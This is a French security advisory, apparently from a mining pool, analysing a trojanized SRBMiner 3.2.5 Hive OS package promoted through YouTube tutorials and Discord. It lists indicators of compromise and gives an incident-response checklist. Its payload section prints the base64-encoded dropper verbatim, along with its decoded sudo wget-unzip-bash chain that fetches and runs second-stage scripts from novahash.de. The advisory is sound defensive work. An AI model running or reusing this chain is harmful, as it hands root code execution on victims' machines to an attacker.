Paquet SRBMiner 3.2.5 troyanisé dans la nature
Ce que les mineurs doivent savoir, dans l’ordre qui les intéresse

IOC — pour les pressés qui veulent juste grepper

Tout ce qu’il faut à un défenseur dans un seul bloc. Le détail vient plus loin, mais si vous êtes là pour auditer votre flotte, commencez ici.

Les artefacts fichiers sont nettoyés par le dropper après chaque exécution : leur absence ne prouve donc rien. Seule leur présence est concluante. Jugez plutôt sur les logs, sur le contenu de h-stats.sh sur disque, et sur le trafic sortant vers novahash.de.

Vecteur de distribution

Le paquet est proposé depuis deux points de distribution distincts contrôlés par l’attaquant — avec au moins une couche de staging supplémentaire sur un service public de type pastebin. Tous les trois hébergent le même srbminer-3.2.5.tar.gz troyanisé, et tous les trois sont choisis pour passer aux yeux d’un opérateur en quête de binaires de mineurs pour des ressources communautaires génériques :

Diffusion : tutoriels YouTube et distribution sur Discord (observé)

L’archive troyanisée n’attend pas, posée sur un domaine obscur, que quelqu’un tombe dessus par hasard. Elle est activement promue via des canaux dans lesquels les mineurs ont confiance, et la couche de promotion s’avère plus large et plus délibérée que ce que l’avis initial du 17 avril 2026 décrivait. Au 19 avril 2026, le tableau est le suivant :

Ce que cela dit du mode opératoire de l’attaquant

C’est de l’ingénierie sociale, pas un drive-by download. Chaque étape est choisie pour faire baisser la garde de la cible :

1. Choisir de petites pièces avec des Discords actifs et un afflux régulier de nouveaux. C64Chain, QTC, une pièce de niche un peu plus ancienne comme Vertcoin, ou une micro-cap flambant neuve comme LuckyPepe (LPEPE) sont précisément le genre de cible où un nouveau mineur arrive dans le Discord, demande comment démarrer, et prend avec gratitude le premier lien qu’un bon samaritain lui tend. Les grosses pièces attirent plus de scrutin ; les petites, plus de confiance ; les toutes nouvelles, quasiment aucun scrutin.
2. Produire un vrai tutoriel qui marche. Les vidéos YouTube montrent des rigs qui minent effectivement, parce que le binaire du mineur dans l’archive est un vrai mineur fonctionnel (couverture) et que le champ url du flightsheet pointe vers un vrai pool tiers opérationnel. La preuve visuelle est persuasive — une vidéo où défilent des shares acceptés vaut mille « fais-moi confiance ».
3. Détourner un hébergement de confiance. Faire pointer l’install_url vers une URL de contenu brut GitLab (gitlab.com/hiveos-custom/m), et poser le flightsheet JSON sur un service pastebin-adjacent (anotepad.com). L’hébergeur de téléchargement est de l’infrastructure de première classe ; l’hébergeur du flightsheet est un raccourcisseur d’URL sous un autre nom. Ni l’un ni l’autre ne se fera flagger par un nouveau venu curieux.
4. Accumuler la réputation d’abord, piocher ensuite. Une fois la vidéo en ligne, que d’autres vidéos la rejoignent sur la même chaîne, et que quelques commentaires du genre « ça a marché chez moi, merci ! » s’y ajoutent, le lien s’auto-entretient : chaque nouveau spectateur voit la preuve sociale avant de voir une raison de se méfier.
5. Injecter dans les canaux de nouveaux. Poster le lien anotepad ou d’archive dans les canaux Discord où les débutants demandent de l’aide. La charge s’exécute dès le premier poll de statistiques ; l’attaquant n’a besoin de rien de plus que « suis le tutoriel ».
6. Compter sur l’absence d’audit des archives et des flightsheets par les modérateurs. Quasiment aucun Discord de pièce n’a les moyens de reverse-engineerer chaque archive « utile » postée dans son canal de minage, ni de comparer le wal_id d’un flightsheet partagé avec l’opérateur qui l’a posté. Un utilisateur sympa avec une chaîne YouTube passe pour un membre de la communauté, pas pour une menace.
7. Faire tourner les artefacts, garder le canal. La note anotepad peut être éditée à tout moment — identifiant de wallet, URL de pool, install_url, tout peut changer en quelques secondes. La chaîne YouTube est l’actif durable ; le lien anotepad dans la description de chaque vidéo est l’aiguillage. Les takedowns des hébergeurs d’archives individuels ne cassent pas la campagne tant que la chaîne est debout.

Si vous faites partie de la communauté C64Chain, Qubit (QTC), Vertcoin (VTC) ou LuckyPepe (LPEPE) et avez configuré un rig à partir de l’un des tutoriels Argenminer, ou passé le lien à un proche — partagez cet avis dans la communauté et considérez tout rig monté depuis l’un de ces guides comme compromis.

Contenu de l’archive

L’archive est une intégration Hive OS custom miner complète, avec en prime une intégration Minerstat (mmp-*) collée au passage. Les distributions authentiques livrent l’une ou l’autre, pas les deux — le simple fait de les trouver ensemble est déjà révélateur.

Indices de reconditionnement

Aucun des éléments ci-dessous n’est malveillant en soi — ce sont les détails diagnostiques qui trahissent que le paquet ne vient pas d’où il prétend venir :

• Commentaires en espagnol dans h-run.sh et h-manifest.conf — p. ex. « Verificar si ya está corriendo », « Cargar manifest », « Ejecutar el binario con parámetros », « Nombre del miner », « Ruta al archivo de configuración ». Les intégrations SRBMiner upstream sont en anglais.
• Incohérence de version interne. h-manifest.conf déclare CUSTOM_VERSION=3.2.5 ; mmp-external.conf déclare EXTERNAL_VERSION="2.6.8-custom". Les paquets authentiques sont cohérents en interne. Celui-ci peine à accorder ses violons.
• Intégrations Hive et Minerstat livrées ensemble. L’upstream distribue l’une ou l’autre, jamais les deux.
• Binaire non stripé. Les binaires de release upstream sont stripés pour réduire la taille et compliquer l’analyse. Celui-ci ne l’est pas — signe que l’attaquant a recompilé depuis les sources plutôt que de repackager la release officielle.

La charge utile : h-stats.sh

L’essentiel de h-stats.sh est — à notre grand agacement — un parseur de stats Hive OS parfaitement fonctionnel. Il interroge l’API HTTP du mineur sur 127.0.0.1:$MINER_API_PORT, parse hashrate, shares, températures et vitesses de ventilateur pour les workers GPU et CPU, gère le minage mono- et dual-algorithme, et renvoie du JSON de stats valide à l’agent Hive. Ce n’est pas un détail : c’est la couverture. Si le script plantait, Hive afficherait le rig comme offline et l’opérateur investiguerait en quelques minutes.

Ajouté après la logique légitime de stats, avant les affectations de fallback, on trouve ce bloc :

p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &

Décodée, la charge base64 donne :

nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
  && sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
  && sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
  && unzip -q -o /etc/mqtato-fla.zip -d /etc \
  && bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &

Déroulement, étape par étape

1. Deux fichiers « image » (.png et .jpg) sont récupérés par wget depuis novahash.de. Les extensions image sont un camouflage : le contenu réel est constitué d’archives ZIP. Astuce classique pour passer sous les filtres d’egress naïfs qui inspectent scripts et archives mais laissent passer les images.
2. Chaque archive est écrite dans /etc/, renommée en .zip, puis extraite sur place avec unzip -o (écrasement).
3. Chaque archive contient un script shell (recuaikaan.sh, mqtato-fla.sh) qui est ensuite exécuté — le premier explicitement avec sudo, le second s’appuyant sur le contexte root déjà en place de l’agent Hive.
4. Les quatre artefacts (les deux .zip et les deux .sh) sont ensuite supprimés de /etc/. Cela nettoie l’empreinte du dropper : une inspection post-mortem de /etc/ ne trouve rien, alors que ce que les scripts de second étage ont installé ailleurs reste en place.
5. La chaîne complète tourne en arrière-plan via nohup … &, sans bloquer ni retarder la sortie de stats légitime. Hive continue à voir un rig bien portant.

Pourquoi h-stats.sh est le site d’injection parfait

Le mineur de couverture : srbminer_bin

Le binaire inclus ressemble à un build SRBMiner-Multi légitime ou quasi légitime. Son rôle, du point de vue de l’attaquant, est d’être sans histoires :

• Fichier : ELF 64-bit LSB shared object, x86-64, lié dynamiquement.
• Taille : 20 309 184 octets (~20 Mo).
• SHA256 : 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• BuildID : fc2487ec223c91039748e53c08328af91260cd8c
• Stripé : Non (atypique pour une release upstream — elles le sont).
• Chemins de build embarqués : référencent /home/doktor/VSCode/SRBMiner-Multi/Libs/{clew,libmicrohttpd,libressl,hwloc}/linux, qui sont les vrais chemins de build de l’auteur de SRBMiner (doktor83). Cohérent avec une compilation depuis des sources authentiques ou légèrement modifiées.
• URLs embarquées : aucune. Aucune référence à novahash.de ni aux noms de fichiers du dropper.

Le plan de l’attaquant dépend d’un mineur qui produit un hashrate et des shares plausibles pour que les dashboards Hive et Minerstat paraissent normaux et que l’opérateur n’ait aucune raison d’investiguer. Toute la fonctionnalité malveillante observée est dans h-stats.sh ; le binaire n’est pas le vecteur d’attaque.

Indicateurs de compromission complets

Réseau

• Domaine C2 du second étage : novahash.de — à bloquer au pare-feu et au DNS
• https://novahash.de/fileslab/recuaikaan.png
• https://novahash.de/fileslab/mqtato-fla.jpg
• Domaine de distribution (origine) : miningrepositories.blog
• Miroir de distribution (GitLab) : gitlab.com/hiveos-custom/m — concrètement https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz
• Page d’instructions contrôlée par l’attaquant : https://anotepad.com/notes/a7ycensj (le contenu tourne ; l’URL est l’IOC stable)

Canal de promotion / d’ingénierie sociale

• Chaîne YouTube : https://www.youtube.com/@Argenminer — plusieurs vidéos de tutoriel en ligne pour différentes petites pièces, chacune renvoyant à une note de staging anotepad propre à la pièce et, via elle, à l’archive troyanisée
• Vidéo connue (VTC) : https://www.youtube.com/watch?v=Id3nMIt18EE — « VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet. »
• Vidéo connue (LPEPE) : https://www.youtube.com/watch?v=xiA81jvYFJs — « LUCKYPEPE! New GPU/CPU Mining Coin! HIVEOS Easy Flight Sheet Tutorial Pool & Wallet! »
• Communautés de pièces visées à ce jour : C64Chain, Qubit (QTC), Vertcoin (VTC), LuckyPepe (LPEPE)
• Identifiant de wallet dans le flightsheet VTC capturé : CoinEx, wal_id: 11032492 — à traiter comme du décor, pas comme un IOC financier de l’attaquant : le malware est un dropper en root, pas un cryptojacker, et les champs wallet/pool de la configuration de minage ne sont que du théâtre

Fichiers (artefacts du dropper)

Supprimés par le dropper après exécution — l’absence ne dédouane pas :

/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh

Hashes de fichier

• srbminer_bin SHA256 : 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• srbminer_bin BuildID : fc2487ec223c91039748e53c08328af91260cd8c

Signatures de processus et de comportement

• Appels wget vers novahash.de depuis le compte Hive user ou root
• Invocations nohup sh -c lancées depuis h-stats.sh
• Entrées sudo bash /etc/*.sh dans les logs sudo (si l’audit est activé)
• Fichiers .zip, .png ou .jpg inhabituels dans /etc/ à un moment quelconque

Signaux au niveau du paquet (pour repérer d’autres paquets troyanisés)

• Commentaires en espagnol dans des scripts d’intégration Hive ou Minerstat que l’upstream livre en anglais
• Incohérences de version entre fichiers manifeste
• Binaires de release non stripés
• Intégrations Hive et Minerstat réunies dans un même paquet
• Longues chaînes base64 dans un h-*.sh ou mmp-*.sh
• base64 -d | sh, base64 -d | bash, xxd -r -p | sh ou pipelines de décodage-et-exécution similaires dans les scripts de stats ou de run

Checklist de réponse aux incidents

Si vous avez installé ce paquet sur n’importe quel rig ou serveur, déroulez les étapes dans l’ordre. Avec un brin d’agacement. C’est la bonne posture.

ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null

cat /etc/ld.so.preload   # doit être vide ou inexistant

find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
     -mtime -30 -type f -ls 2>/dev/null

crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all

find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config

ss -tnp | grep -E '(srbminer|sh|wget|curl)'

chkrootkit
rkhunter --check --skip-keypress

grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null

Durcissement : comment ne pas se retrouver ici

Quelques habitudes qui auraient évité l’affaire. Rien de neuf, rien de passionnant ; l’objectif est justement que ce soit ennuyeux.

Un mot de Suprnova

Les opérateurs de pools et leurs mineurs forment une cible de choix pour ce type d’attaque. Un mineur troyanisé sur un rig, ce n’est pas du cryptojacking — c’est pire. Dès que le dropper a les droits root, il peut parcourir le disque à la recherche de fichiers de seed de wallet et de keystores sauvegardés, extraire les credentials de pool et les clés SSH des fichiers de configuration, récupérer les sessions de navigateur, enrôler le rig dans un botnet ou un pool de proxys résidentiels, et pivoter vers le reste de votre infrastructure. L’enveloppe en forme de mineur n’est que le couvercle de la boîte ; ce qui intéresse réellement l’attaquant, c’est tout ce qu’il y a dedans. Nos utilisateurs sont en moyenne plus techniques, plus précieux et plus spécifiquement ciblés que la population générale des « gens qui téléchargent des choses » ; cette attention n’est pas, au final, un compliment.

Si vous tombez sur un téléchargement de mineur suspect, une archive inhabituelle, ou un DM Discord/Telegram vantant un mineur « custom » ou « patché » — transférez-le à admin@suprnova.cc ou déposez-le dans notre Discord. Nous regarderons, mettrons à jour ce bulletin si nécessaire, et avertirons la communauté. Ceinture, bretelles, et un soupçon de paranoia partagée — les trois piliers d’un rig de minage heureux.